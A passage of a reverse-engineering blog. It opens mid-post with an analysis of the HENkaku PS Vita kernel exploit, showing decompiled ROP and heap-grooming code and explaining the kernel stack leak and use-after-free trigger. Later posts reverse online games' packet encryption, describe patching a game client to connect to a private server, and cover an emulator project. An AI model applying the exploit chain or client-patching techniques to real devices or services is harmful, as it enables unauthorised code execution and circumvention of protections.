*(unsigned int *)(stack_var_E634) = 0x83A00C99;
// store ioctl return and while (1) {}
// copy new rop-chain
libc_memcpy(&stack_thread_sp_E5FC, stack_var_E608, 0x100);

*(unsigned int *)(stack_var_E5FC) = stack_var_E730;
*(unsigned int *)(stack_var_E734) = 0x83AC0C0B;

stack_var_E4D0 = lib_net_sceNetSyscallSocket("tmp", SCE_NET_AF_INET, SCE_NET_SOCK_STREAM, 0x0);

stack_var_E4F4 = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E4F8 = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E4FC = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E500 = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E504 = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E508 = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E50C = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E510 = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E514 = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E4E8 = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0xF00, 0x0);
stack_var_E4DC = lib_net_sceNetSyscallDumpCreate_imp("ddd", 0x1000, 0x0);


// allocate memory to code
unsigned int i = 0;
for (i = 0xD0000; i > 0xA0000; i -= 0x100) {
lib_net_sceNetSyscallDumpCreate_imp("ddd", i, 0x0);

lib_net_sceNetSyscallDumpCreate_imp("ddd", 0x1000, 0x0);
lib_net_sceNetSyscallDumpCreate_imp("ddd", 0x1000, 0x0);

// start thread "mhm"
lib_kernel_startThread(thread_id_stack_E520, 0x1C, stack_var_E71C);

// put our main thread to *sleep*

// ------------------------------------
/* guess1 -> alloc the object that will trigger the exploit later ?
* Thread 2 - mhm ROP Chain
*/ // file descriptor , command
*(unsigned int *)(stack_ioctl_return_E710) = sceNetSyscallIoctl_imp(stack_socket_fd_E4C4, 0x10007300, 0x0, 0x0);
while (1) {}
// ------------------------------------


// send ROP + Code
lib_net_sceNetSyscallControl_imp(0x0, 0x30000000, stack_var_E740, 0xFC);
// trigger the exploit (heap-overflow, object ptr overwrite)

stack_ioctl_return_E710 = *(unsigned int *)(stack_ioctl_return_E710) + 0x83A00CF5;

/* --------------------------------------------------------------------
ROP code
r0 = 0x5000E710 <- sceNetSyscallIoctl_imp return value
r1 = 0x83A00CF5 <- sceWebKit address space

ldr r0, [r0] <- get return value
add r0, r0, r1 <- plus with sceWebKit address space (as an offset)
mov r8, r0 <- mov value to r8
adds r0, r7, #0 <- dummy
adds r1, r6, #0 <- dummy
mov r3, r8 <- mov to r3 (function ptr)
blx r3 <- jump to this region
*/ --------------------------------------------------------------------

*(stack_ioctl_return_E710 + 0x83AC0C0B)(0x0, r6, r7);

// close more dumps
for (i = 0x1770; i < 0x1790; i++)
while (1) {}

At the first time, the code didn’t make any sense. The best way to understand what each part does is debugging and know well about the Vita’s security measures. Since the PS Vita firmware 2.xx it has Address Space Layout Randomize in both user-land and kernel. Therefore if you want to attack both user-land and kernel you need a way to know the base address, in the case of user-land it’s done by the webkit exploit, but in kernel ?
Here is the answer:

// sceIoOpen
lib_kernel_sceIoOpen("molecule0:", 0x0, 0x0);
// sceIoDevctl
// device, cmd, input, input_size, output, output_size
lib_kernel_sceIoDevctl("sdstor0:", 0x5, "xmc-lp-ign-userext", 0x14, stack_buff_CE34, 0x3FF);

The first time that I read it, it didn’t make any sense, first because we don’t have a “molecule0” device on PS Vita and second that I didn’t know anything about the SceIoDevCtl. I read the vitasdk and psp2sdk to give me a good base and decided to write a ROP code for my 1.50 Vita and test the Syscalls. After I ran it on my vita and dump the output we have this:


Kernel stack leak

Pay attention to the yellow highlight addresses, PS Vita uses in the most of time THUMB2 instructions, the possibles candidates to be kernel addresses are the values that end with odd values. Furthermore, we are leaking data from the kernel stack and is there where our registers (R0, R3, R4, LR […]) are stored. So an example would be the 0x00489E15.

This is our first kernel exploit, it’s used to defeat Kernel ASLR and to write our Kernel ROP chain. Moreover, after more debugging, I concluded that: The kernel stack leak only happens when the SceIoDevCtl has values on output length less than 0x400, it probably happens because the buffer is uninitialized when the values are less than 0x400, another important thing is that is necessary always call de SceIoOpen before, is that will fill our stack with the pointers.
Here a quote Yifan Lu quote about it after I explained to him what I did:

sceIoDevctl is the first kernel exploit: it leaks stack pointers to SceSysmem and the kernel stack. it basically copies uninitialized stack buffer from kernel stack to user stack

After it, the ROP code will create another ROP code that will be used by a thread called “pln”, this thread is very important to the exploit, here is the “pln” thread code:

lib_kernel_sceIoDevctl("sdstor0:", 0x5, "xmc-lp-ign-userext", stack_leaked_output_E854, stack_leaked_output_len_E858, stack_var_E85C)
lib_kernel_sceIoDevctl("sdstor0:", 0x5, stack_leaked_input_D344, stack_leaked_input_len_E86C, 0x0, 0x0)
while (1) {}


It starts doing a stack leak as before, but there is a difference now, after the stack leak the thread will sleep (delay_thread function), while the “pln” thread is sleeping, the main thread is writing the Kernel ROP, the Kernel ROP is done using leaked LR value from stack plus some offsets, after finish the Kernel ROP, the main thread will copy the ROP chain to “stack_offset + 0xD348” with size 0x300 bytes, after it, will copy to “stack_offset + 0xD644” with size 0x400 bytes from the code(but only part of it is used). Later, “pln” thread wake up and call another sceIoDevctl, the vulnerable syscall can also be used to copy data into the kernel stack, so now its used to send data (in this case, our ROP + native code encrypted) to the kernel. Furthermore the kernel does not clear the stack before returning, so our data stays in kernel memory. It’s necessary because the PS Vita Kernel has a security measure called SMAP (Supervisor Memory Access Prevention) and even with kernel code execution we couldn’t read our ROP from the user-land mapping, otherwise we would have a fault. Another important thing is that we need to create another thread to execute this code and not in the main thread, here an explanation of Yifan Lu about it:

the point of all the thread creation: we need a “plant thread” to inject data into kernel memory. if we do it on the main thread, syscalls would corrupt it, so we create a new thread, leak the stack base, inject the krop, and then make it sleep forever

Now we have prepared the whole environment to the kernel exploit, we need to trigger it.

The Kernel exploit is in the the module that handle the SceNet functions (it’s the SceNetPs). The exploit starts when we allocate a bunch of socket file descriptor using sceNetSyscallSocket. If you pay attention in the code there is one call that is different from the others, that is:

stack_socket_fd_E4C4 = lib_net_sceNetSyscallSocket("tst", SCE_NET_AF_INET, 0x7, 0x0);

This socket created uses a type different from the others, it’s type 0x7, I tried to read both Linux and netBSD source code and didn’t find any reference to these, Yifan Lu says this is related to how the exploit is triggered and is not Sony’s work. Anyway, after this, we have more allocation but now using SceNetSyscallDumpCreate and some of these dump filedescriptor are unallocated  (but not all, they are close 8 by 8, like stack_var_E4F4, stack_var_E4FC) using SceNetSyscallDumpClose. Now the ROP will start the another thread called “mhm”, this thread will use SceNetSyscallIoctl with the socket file descriptor with type 0x7. At this point my guess was that the Vita heap is deterministic and what is happening is that the heap layout being manipulated to get a proper environment to trigger the exploit. So I thought about what is the exploit. A stack smash overflow are very difficult because Vita has stack canaries, and we have a bunch of Socket and DumpCreate syscall that allocate stuff into the heap memory,  so now either we have a User-After-Free or Heap Overflow, in this case, our kernel exploit is the former, an UAF. What happened is that probably Sony screw up with the SceNetPs module and unallocated one of the file descriptor allocated, but we still have the reference, now everything we need do is manipulate the heap layout and use an object with a modified vptr pointing to our payload and finally trigger it when we run the object.
So as we already have the kernel ROP inside the kernel memory (because the SceIoDevCtl used before), everything we need do now is trigger the exploit, everything that we have after it is close the socket descriptor in heap and finally call the sceNetSyscallControll and the another sceNetSyscallDump close that is where we trigger the object vptr to our kernel ROP. An another important technical information is about the threads, they are used to a combination of race attack and UAF.

Now we finally have kernel code execution.

Stage3: Kernel ROP and Code

After trigger the object with modified vptr, we will have kernel code execution and the first thing that it will run is the ROP build with the leaked address. We can’t do much without a way of dump memory (a read-primitive in kernel would be welcome), but I tried to analyze it anyway. If you remember the second SceIoDevCtl in the “pln” thread will send our data to the kernel, but there is something interesting here. The first 0x300 bytes is the kernel ROP and the 0x100 bytes(and not 0x400) is the kernel native code encrypted. So the truth is that we have three parts in the stage 3, the first is the ROP, the second is the payload 1 that my guess is that the ROP will map memory and decrypt using AES-ECB algorithm (I will explain why this algorithm later) and run the payload1 and finally the payload 1 will load and decrypt the payload 2 that is where we probably have the kernel patchs and download the pkg and install.
So why it uses AES-ECB algorithm ? I did a Cryptanalysis in the two payload files, the first payload has the same key between the HENkaku versions, the only thing that change is the last 0x20 bytes of the file. Normally when you change any byte we will have a file very different in terms of structure using another AES-Mode(like CBC, CTR […]), but in our case we have it:


20 last bytes of payload 1(encrypted), probably payload2 key ?

Only the 0x20 last bytes changes, it happens because ECB divides the data in blocks and each blocks is encrypted by the key. We have more evidences if we look the payload stage2, there are many 0x10 bytes that repeat in the file in different places.  So, the only way to decrypt it is understand the kernel rop and to it, we would need kernel code exec.

So that is my explanation about Stage2, probably Yifan Lu and xyz will make a proper write up explaning in details how each part of the exploit works, everything I said here is my point of view, maybe there are mistakes, but I think it’s enough to understand what is happening with Stage2 and part of Stage3. That is all folks.

Posted in ps vita | 16 Comments

Grand Chase – Network communication analysis

Grand Chase is an online game(and one of my favourite online game in my childhood) and today I want to explain how the encrypt communication between client and server works. Before you start reading it, be sure you know at least the basic of programming and sockets(it’s essential to understand some concepts explained here), I will assume you know all of it, so let’s go.

The game is not much different from the most of MMORPG, so the first thing I thought was try to sniff the packets, one of my favourites packet sniffer (WPE Pro) didn’t work, the explanation to it is because the game uses IOCP Communication. The IOCP communication comes to solve the one-thread-per-client bottleneck, handle asynchronous I/O and send/receive, using only few processing threads(you can read more about it here). So the solution was to use wireshark, it solved the problem.

If you take a look the game packets:

grand chase

We can’t do much with this, the only thing we can identify here is:
The first byte is the packet size(or the first two bytes), an 8 bytes char array, then, probably they are encrypted, you can’t understand the whole packet(only the begin), you can’t do much conclusions, take a look on the login/password packet:
Okay, as you can see, you can’t even see your login and password, so probably the packet is encrypted.

Now everything we can do is analyze the main executable, I used a private server (Grand Chase Resistance) to do this, I used as well two programs, the first one is IDA Pro and the second is Ollydbg, they are amazing to done this kind of work ;].

The first thing I did was open the client on IDA Pro. As the executable doesn’t have any kind of protection, it shows the assembly without problems, the *biggest* hint to us here is finding where the socket communication happens. IDA Pro can show us the Imports used on the program, if you take a look at address 0x00FC89C0 you will see all imports used from ws2_32.dll(Winsock2 DLL), it is a big hint to us ! now we can see where the WSASend and WSARecv is on our program, let’s go to the function which uses the WSARecv, it’s on 0x00C14890(with some debug strings, I labeled this with KSocketObject::InitRecv).
Perfect, now we have the function with WSARecv, but we need to know if it really works, the solution here is to set a breakpoint with Ollydbg, just open the client and attach the process with OllyDBG, change the module to Launcher(Alt +E) and go to the address, put a breakpoint(F2) and wait a packet and *jackpot*, we have the function which receive a packet, so let’s go do some debug on this.

First of all we need to know the arguments used on WSARecv, Microsoft has a good documentation about it, anyway, take a look at the “lpBuffers”, it is a structure used to store the buffer lenght and buffer addr, that is perfect for us, but how to discovery where the lpBuffers is stored ? let’s do some reverse engineering:
ksocketobjIDA says the lpBuffers is the value on “eax” register, that is used by push instruction, it happens because some arguments on x86 are passed on stack, so what we can understand with it:
The struct socket_information(that is on the stack), has an instance to WSABUF, (like socket_information->wsa_buff), so we need to confirm if it’s true, to do this, let’s use Ollydbg again. On ollydbg set a break-point on 0x00C14924, look the eax register value and follow the value on dump, if you remember how the WSABuf structure is, you won’t have  problem here, the first 4 bytes on memory is the size of buffer and the next 4 bytes on memory is the the address to the buffer itself, follow this address on memory and press F7 to go step by step on ollydbg and *jackpot again*:


You can do the same thing with WSASend(look the WSABuf, follow the address and see the encrypted data on memory), so I decide to explore the WSASend instead of WSARecv, anyway, now the boring part starts, you should find who stores the value on WSABuf, I did it with the WSASend function. The function used to send data(KSocketObject::SendData @ 0x00C14E10 ) receives on his argument one structure, one ptr to a data and the size of data, they are the packet data(encrypted) and packet size, it’s stored on the structure and later send via WSASend, let’s find out who stores the values on data/size.

The function who call the KSocketObject::SendData is the socket_sendPacket@0x00C132E0, I won’t explain the whole reverse engineering I did here(it took me countless hours of debugging on OllyDBG and reading assembly on IDA Pro) but basically what this function do is:

1º Get a buffer
2º Create a KSecurity Object
3º Call the object function KSecBuff.Create who recives the buffer
4º Later, call two functions (KSec_GetSize and KSec_GetPayload), who will return the payload addr and payload size to two variables and send to KSocketObject::SendData(ObjSocket, data, size);

I confirmed it debugging with ollydbg, as you can see with this screenshot:

packet_zlibWell, if you have good eyes(thanks to my friend gdkchan), you will notice this buffer is compressed with zlib(deflate), the header is “0x78 0x01”, this is the buffer will be passed to the function and later used on KSecBuff.Create to be encrypted and output the final packet to be sent via WSASend(note: not necessarily all packets are compressed with zlib, only some, this example is from the packet who send the player login/passworld to server).
I made a very-fast program to decompress this buffer and here the output:

zlib decompress

zlib decompress

(Ignore my login lol), anyway, as you can see, here contains both login and passworld(in md5), so the first step is compress the packet buffer with zlib. After it, I followed the function KSecBuff.Create with ollydbg and I bumped on the function @ 0x00E03130, I labeled it with encrypt_packet, and finally here is our encrypt function !

encrypt packet function

encrypt packet function

The function receives in his argument a structure, a ptr to encrypt_data(it can be data either compressed with zlib or uncompressed), a output addr(the client clear the region memory with the size of packet) and the size itself. I followed the whole function and noticied some things:

block encrypt (8 bytes size)

block encrypt (8 bytes size)

The function gets 8 bytes from the buffer to be encrypted, stores on a buffer, encrypt it and store output buffer, so it works with blocks of 8 bytes.

So finally, after countless debugging and trying to understand the function, what happens is that Grand Chase uses a XOR(xorbuf) between a generated 8 bytes (it is always words, like AAAA.., BBB.., ^^^… base64 ? no idea yet) and the first 8 bytes of the buffer to be encrypted, it generated a buffer *XORed*, this buffer *XORed* is now encrypted with DES Algorithm(I figured this out looking and comparing values on the LookUp Tables inside the function, google is always your best friend when you need to find some hexadecimal values ;] and it uses an 8 bytes block) and the output is the encrypted block, it does a memcpy and store on the output buffer, the *8 bytes block generated by DES* is now used to XOR(xorbuf) with the next 8 bytes block loaded from the buffer to be encrypted.

Okay okay.. it’s a bit confuse, but I made this diagram to simplify the things:

encrypt algorithm

encrypt algorithm

So that is the process, where the “8 bytes block encrypted” is re-used on the “8 bytes to be xored” after the first process finish. Another observation the algorithm used by Grand Chase is that it is very similar to the Crypto++ and WolfSSL (more near to the WolfSSL to be honest, including the xorbuf function that is the same), and in the dissasembly there are some strings which are from Crypto++ Library.

So finally the last one is the decrypt algorithm, it’s the function decrypt_packet @ 0x00E03290, it receives on his arguments a structure, pointer to encrypted data, out buffer and the size. The algorithm works in the reverse form, first it will copy a block of 8 bytes from the encrypted data, decrypt it with DES Algorithm and finally do a XOR with the decrypted algorithm with 8 bytes words(AAA.. BBB..), but wait, how I will know where the hell is these bytes ? remember more early when I was explaning the packet structure, the firsts bytes is the size and there is a char array (on our example QQQQ…) yeah ! this is the first 8 bytes used to XOR the decrypted packet, after the xor, we have the *XORed* 8 bytes block and decrypted block, it now stored the block on a buffer and copy more 8 bytes encrypted and use the DES decrypt output to XOR this next block, but okay,a bit confused again, here another diagram to simplify the things:

decrypt algorithm

decrypt algorithm

Remember, the *8 bytes decrypted* is used in the next XOR process(in the place of 8 bytes to be XORed), so I made a program(copying some codes from WolfSSL *cof cof*, credits goes to them), and here the result:
packet_first_session_decryptIt’s the first packet send by server to client, later, the keys are changed to the keys send by server on this packet : }

If you want to know the addresses of these functions, here the addr(it works both on IDA Pro and Ollydbg):

decrypt_packet: 0x00E03290
encrypt_packet: 0x00E03130
KSecBuff_Create: 0x00DF7250
Xorbuf: 0x00E41750
ProcessAndXorBlock: 0x00E02660
memcpy: 0x00C6F5A0

About the packet structure, I don’t know much how the structure works, but It is a matter to be dealt with later.

So, that is all folks, special thanks to my friends Hadley and Gdkchan !





Posted in Uncategorized | Tagged , , , | 2 Comments

Tree of Savior – Análise

Hoje começou o closed-beta do Tree of Savior, o jogo realmente me lembra Ragnarok (relembrando os velhos tempos), de qualquer forma, fiquei com uma vontade de analisar como funciona o jogo(em relação a comunicação), cada vez que eu descobrir algo interessante, vou atualizar isto aqui.

Eu utilizei Wireshark e WPE Pro para fazer está rápida análise, já que o cliente não tem nenhuma proteção, o WPE Pro fica fácil utilizar. O executável é packed, pretendo descobrir qual e remover(se eu tiver sucesso explicarei aqui também). Em relação a comunicação o cliente utiliza HTTP/XML para receber a lista de servidores, essa é a informação enviada e recebida:


GET /toscdn/patch/serverlist.xml HTTP/1.1
User-Agent: MS
Host: d28848zpt823xm.cloudfront.net


HTTP/1.1 200 OK
Content-Type: text/xml
Content-Length: 778
Connection: keep-alive
Date: Tue, 27 Oct 2015 10:15:53 GMT
Last-Modified: Tue, 27 Oct 2015 10:09:01 GMT
ETag: "2640fae87f4f02b48df305dd68e69b21"
Accept-Ranges: bytes
Server: AmazonS3
Age: 29123
X-Cache: Hit from cloudfront
Via: 1.1 eaaf7eb6072f1d7e0d8c7d2388e1bba6.cloudfront.net (CloudFront)
X-Amz-Cf-Id: duCAWCAF0A7KqfwIstEkQc2EFj-HJc42xz5r5-IZfoNi6gjlYVvVIw==

<?xml version="1.0" encoding="UTF-8"?>

<!-- edited with XMLSpy v2008 sp1 (http://www.altova.com) by MintPC (Mi) -->
<!-- edited with XMLSPY v2004 rel. 3 U (http://www.xmlspy.com) by Jung (IMCGames Co., Ltd) -->
<statistics Ip="" Port="10001"/>
<server GROUP_ID="100" TRAFFIC="0" ENTER_LIMIT="100" NAME="Laima" Server0_IP="" Server0_Port="2000" Server1_IP="" Server1_Port="2001"/>
<server GROUP_ID="101" TRAFFIC="0" ENTER_LIMIT="100" NAME="Zemyna" Server0_IP="" Server0_Port="2000" Server1_IP="" Server1_Port="2001"/>
<server GROUP_ID="102" TRAFFIC="0" ENTER_LIMIT="100" NAME="Gabija" Server0_IP="" Server0_Port="2000" Server1_IP="" Server1_Port="2001"/>

Basicamente ele faz uma requisição da lista de servidor e recebe um XML, esse XML fica salvo na pasta como “serverlist_recent.xml”, uma possível forma de modificar isso seria editando o client.xml, já que lá tem o “ServerListURL=”.

Em relação aos pacotes, eu posso está enganado, mas aparentemente não há proteção/criptografia neles (acho que nem verificação de integridade há neles, preciso confirmar), aqui alguns pacotes que analisei(bem rápido):


Os 2 bytes no quadrado vermelho eu acho que provavelmente são os “header” dos pacotes, os de verde não faço ideia, mas sempre estão no início do pacote, no caso dos dois primeiros pacotes(que são envolvendo textos do chat), o primeiro byte após os 4 bytes 0xFF é o tamanho total do pacote, já no último que é o nome que fica ao lado do seu personagem e tudo que você tem, não representa o tamanho do pacote, não faço ideia do que seja por enquanto. No caso das strings, elas não tem um byte anterior indicando tamanho, mas SEMPRE acabam com um 0x0, provavelmente por que o início da string tem lugar fixo.

O jogo tem um Launcher para fazer update e verificar atualizações, o executável não tem nenhuma proteção, utilizando IDA Pro é possível descobrir o comando utilizado para executar o Client_tos.exe, ele utiliza ShallExecuteExA, essa API do Windows utiliza uma struct chamada SHALLEXECUTEINFOA, fazendo engenharia reversa, é possível encontrar que o parâmetro utilizado para executar o cliente (lpParameters da Struct), é o “-SERVICE”, basta criar um .bat da seguinte forma:

Client_tos.exe -SERVICE

E executar o como administrador e o cliente vai inicializar.

~Work in Progress~ Preciso organizar tudo, tá bem feio mesmo

Posted in Uncategorized | 2 Comments

Digimon Masters Online – Yggdrasil

A um bom tempo atrás eu comecei a jogar Digimon Masters Online (recomendo, um ótimo MMORPG de Digimon), o jogo é bem interessante e tem um game play bem divertido. De certa forma minha curiosidade foi além com esse jogo, lembrei da época que tentei fazer um “emulador” do servidor de Ragnarok e tentei seguir o mesmo caminho com esse jogo, utilizei uma ferramenta bem útil para *packet sniff* conhecida como Wireshark (um dos motivos de eu te utilizado essa ferramenta foi por que o jogo possui uma proteção, conhecida como hackshield, então não poderia utilizar um WPE Pro por exemplo, mais a frente falarei como removi essa proteção[…], nas últimas atualizações o jogo não tá usando mais hackshield, mas só por curiosidade, utilizei Ollydbg para remover), e por sorte, a comunicação entre o cliente e servidor não possui nenhum tipo de criptografia, assim dei início ao Yggdrasil.

O jogo utiliza dois aplicativos para sua inicialização, o primeiro é o DMLauncher.exe que verifica atualizações no servidor (provavelmente FTP ?) e faz uma comparação nos arquivos do cliente, caso algum esteja modificado e/ou desatualizado, ele baixa um novo e substitui o modificado e/ou desatualizado, o que é um problema, pois precisamos fazer algumas modificações no GDMO.exe (executável principal do jogo). Se você tentar inicializar direto o GDMO.exe, ele vai pedir para executar o DMLauncher.exe, então precisamos descobrir qual comando utilizado para inicialização do GDMO.exe, na grande maioria dos casos, tanto o Launcher com o próprio executável do aplicativo são ofuscados/criptografados (um exemplo clássico é o ASprotect que o Grand Chase utiliza em seu executável principal). Por incrível que pareça, não há nenhum tipo de criptografia/ofuscação/whatever no executável, podemos editar sem nos preocupar. Então utilizei para saber como o DMLauncher.exe inicializa o GDMO.exe a ferramenta IDA Pro, vasculhando um pouco o executável, cheguei a seguinte função:

Inicialização do GDMO.exe

Inicialização do GDMO.exe

Como você pode observar na imagem, a função StartDMO_Exe vai chamar um CreateProcessW com o nome do processo(nesse caso GDMO.exe) e com um commandLine, que será o “true”, isso nos permite executar de forma fácil o executável apenas utilizando o cmd e digitando “GDMO.exe -true”, simples não ?

Após essa primeira etapa, a segunda é conseguir modificar o GDMO.exe para conectar ao nosso IP (eu vou optar em utilizar o, localhost, por que fica mais fácil para fazer meus próprios testes). O que é uma piada, por que até o executável principal não tem nenhuma proteção e ofuscação, então mais uma vez utilizei o IDA Pro para localizar o IP e um editor hexadecimal para modificar o executável. Essa é a função que ler o IP do Login Server:

Login Server IP

Basta abrir qualquer editor hexadecimal e procurar por “account.dmo.joymax.com”, e modificar para um IP qualquer, no caso coloquei e o resto preenchi com 00 (hex) e ele conectou, faça um backup do GDMO.exe sem modificação, ele será importante para conectar no servidor oficial e fazer packet sniff e analisar eles.

Como atualizei o cliente, decidi da uma analisada e percebi que aparentemente chutaram o balde e não estão utilizando mais nenhuma proteção (antigamente Hackshield), então não vai ser necessário ficar horas no ollydbg para remover a proteção. Eu utilizei a partir desse momento o WPE Pro para fazer o sniff e analise dos pacotes.

Acho que é importante antes de falar sobre a estrutura dos pacotes, falar como o servidor se comporta, essa conclusão foi feita a partir de analises feitas com tentativa e erro, mas acredito que isso seja o mais próximo de como o servidor é:

Estrutura do Server

A parte inicial é a autenticação feita entre o cliente e o servidor de login, o trabalho do servidor de login é basicamente gerenciar se a conta existe ou a senha está correta, enviar uma lista de canais (que é um socket IP::Porta) e atualizar se o cliente solicitar, verificar se o servidor está em manutenção e coisas do tipo. Cada canal é um servidor de personagens, cada servidor vai gerenciar os personagens da sua conta e informações básicas (level, localização, digimon[…]) e ele está vinculado a um único servidor de mapas, que é onde o jogo em sí se passa).

Finalmente agora vamos falar sobre a estrutura dos pacotes, que é a parte mais importante, vamos a um exemplo: Este é um pacote que é enviado do cliente para o servidor, o que esse pacote faz é basicamente pegar o login, senha e todas as informações do computador (?) e enviar para o servidor, o servidor verifica se o login existe, senha está correta e por fim envia as informações para o cliente (nesse caso a lista de servidores e outras informações), pacote:

Informações do Login

Como você pode observar, os dois primeiros bytes é o tamanho do pacote (geralmente quando o pacote é maior que 255(0xFF em Hexadecimal) bytes, o segundo byte é escrito), os dois bytes seguintes é o header do pacote, ele é utilizado para identificar qual pacote estamos trabalhando, a parte em azul escuro é o login e senha do player, observe que o byte inicial antes da string é basicamente o tamanho do login e senha (4 bytes = 4 letras = strlen(“test”)). Para descobrir como é feito o Checksum, foi necessário um pouco de engenharia reversa no GDMO.exe, a função fica no endereço 0x00756AF0 (no último update lançado até então):

PseudoC do Checksum

Como explicado, o que a função faz é basicamente pegar o tamanho do pacote e fazer a xor com valor 6716 (caso você não saiba o que é xor, você pode encontrar informações aqui). Outra maneira é apenas observar a relação entre o tamanho do pacote e o Checksum, sempre o “0x1A” é mantido, até o momento que o pacote é maior que 0xFF, como sempre a XOR entre um valor N e 0 é sempre o valor N, você já tem 1 byte, o outro byte você descobre mesmo usando brute-force hah.

Agora que já sabemos a estrutura do servidor, a estrutura dos pacotes e a única proteção utilizada, podemos fazer um emulador do servidor, isto será útil para entender melhor como o cliente se comporta e tentar achar mais falhas, além disso também podemos criar um cliente fake para logar no servidor e também estudar o servidor, de início vamos falar apenas sober o emulador do servidor, vamos começar pelo Login Server.

O Login server é relativamente simples e fácil de emular, para isso eu utilizei C/C++ e o Winsock2 (Biblioteca de sockets para Windows). Como não há muitos pacotes no Login Server, foi um pouco mais rápido para escrever o emulador, aqui a lista de pacotes do Login Server :

Servidor → Cliente

2 bytes tamanho
2 bytes header 0xFFFF
2 bytes valor gerado pelo servidor, utilizado na confirmação
2 bytes checksum
2 bytes tamanho
2 bytes header 0xFEFF
6 bytes esse valor é relacionado aos 2 bytes da autenticação, preciso analisar melhor
2 bytes checksum
2 bytes tamanho
2 bytes header 0xEA0C
4 bytes desconhecido (provavelmente o tipo da mensagem ?)
n bytes texto que você vai enviar para o cliente
6 bytes string escrita NULL
2 bytes checksum
Lista de Canais
2 bytes tamanho
2 bytes header 0xE60C
1 byte quantidade de canais
4 bytes ID do canal
n bytes Nome do Canal
2 bytes status do canal ?
1 byte quantidade de personagens ?
— Se tiver mais de 1 canal, você deve repetir a mesma estrutura, id do canal, nome do canal… —
n bytes Nome do personagem do primeiro canal ?
2 bytes checksum
IP e Porta do Canal
2 bytes tamanho
2 bytes header 0x8503
4 bytes Account ID ?
4 bytes Unique ID ?
n bytes IP do Canal(Char Server)
2 bytes Porta do Canal (Char Server)
2 bytes ???
2 bytes checksum

Cliente → Servidor

Confirmar Autenticação
2 bytes tamanho
2 bytes header 0xFFFF
12 bytes desconhecido, provavelmente relacionado com os 4 bytes enviando para autenticação (necessário engenharia reversa).
2 bytes checksum

Informações do Login
2 bytes tamanho
2 bytes header 0xE50C
8 bytes desconhecido
n bytes Login
n bytes Senha
n bytes Informações do computador(sistema operacional, processador, placa de vídeo, estranho não ? )
2 bytes checksum

Atualizar lista de canais
2 bytes tamanho
2 bytes header 0xA506
2 bytes checksum

Canal selecionado
2 bytes tamanho
2 bytes header 0xA606
4 bytes ID do Canal
2 bytes checksum

Cliente está conectado
2 bytes tamanho
2 bytes header 0xFDFF
2 bytes checksum
(O pacote só serve para informar que o cliente ainda está conectado com o login server)

Com essas informações, tudo que você precisa fazer é colocar para quando você receber um pacote, decodificar o header dele, verificar o que ele faz e depois enviar as informações corretas para o cliente, lembrando de sempre respeitar o checksum, caso contrário o pacote será ignorado/descartado.

Essas são imagens do resultado do Login Server que fiz com base nessas informações:

Posted in Uncategorized | 1 Comment

PC Engine/TurboEMU

     Acho que aqui no Brasil poucas pessoas já devem ter ouvido falar sobre PC Engine ou como realmente ficou conhecido aqui no ocidente: TurboGrafx-16. Antes de qualquer coisa, esse é um projeto de férias e eu espero que não vá ficar na minha *pilha de projetos*. Eu sempre gostei da área de emulação e acredito que esse realmente tenha sido um *passo inicial* para realmente entender melhor esse mundo, antes do TurboEMU eu já tinha escrevido um interpretador de Chip8 com ajuda de um tutorial e re-escrito um 6502 em C/ARM Assembly com ajuda de um amigo, então decidi, por que não começar algo do 0 ? 😉

PC Engine

PC Engine

     TurboGrafx-16 como ficou bem conhecido por aqui foi/é um console desenvolvido pela Hudson e NEC e foi um dos primeiros a ser 16 bits. Mesmo sendo considerado um console *16 bits* ele utiliza uma CPU 8 Bits(HuC6280, que irei falar sobre ela mais a frente), porém suas duas GPUs é 16 bits(HuC6270 e HuC6260, que são nossos Video Display Controler e Video Color Encoder que é basicamente processador de vídeo e cores), ainda não há muito a falar sobre as GPUs, ainda não cheguei nessa parte, nesse momento que estou escrevendo apenas a CPU e parte da MMU está pronta. Apesar de ser um vídeo game pouco conhecido, há alguns títulos conhecidos, como Castlevania, Bomberman(óbviamente), Street Fighter […].


CPU: HuC6280 @ 7.16 Mhz ou 1.79 Mhz
GPU: HuC6270/VDC (Video Display Controler) e HuC6260/VCE (Video Color Encoder)
Resolução: 256×216
RAM:  8 KB
Som: 6 Channel Stereo

Mas, por que escolher o PC Engine ? A principio eu tinha escolhido ele por que acredito que seja mais simples em relação aos consoles 16 bits que temos, além disso a familiaridade que já tenho com o 6502, pois o HuC6280 é baseado no 6502, ele herda todas as instruções do 6502 e é acrescentadas mais instruções e alguns bugs foram corrigidos (como o do JMP Absoluto) além de uns modos de endereçamentos diferentes.

HuC6280 - Fonte: Wikipedia

HuC6280 – Fonte: Wikipedia

O grande obstaculo que eu vejo na criação desse emulador é documentação, as documentações que temos disponível estão no Emu-DocsMagic Kit EmuViews (TurboGrafx-16 Hardware Notes by Charles MacDonald), também temos dois emuladores Open-Source (HuGo e TGEmu) que podem ajudar em duvidas de como implementar certas partes, o Service Manual do console e por fim o livro Develo Book que está em japonês infelizmente. Apesar disso sinto falta de uma wiki (achei uma wiki ! aqui) ou até mesmo um IRC que pelo que eu vi não há nada do tipo, daí que veio a ideia de começar a documentar tudo que eu encontrar pela frente que está fragmentado em algum canto, quem sabe criar uma wiki ou coisa do tipo. Por fim o meu objetivo por enquanto é apenas emular a parte que utiliza os HuCards (basicamente fitas com os jogos), que pode armazenar por volta de 1MB, pretendo deixar o Add-on do CD quando tiver algo realmente funcional.

Afinal, o que está pronto ? Nesse momento já escrevi boa parte do HuC6280 (assim eu espero) e parte da MMU, é possível fazer leitura de alguns backups(ROMs) e ver as instruções sendo executadas (elas vão ser salvas em um arquivo chamado “log.txt” no directório do aplicativo), mas ainda há muito a ser implementado para ter um resultado satisfatório.

De qualquer forma, deixo aqui esse breve resumo do início da minha saga de tentar criar um emulador de PC Engine. Para quem está interessado em acompanhar o projeto, eu estou atualizando ele no GitHub.


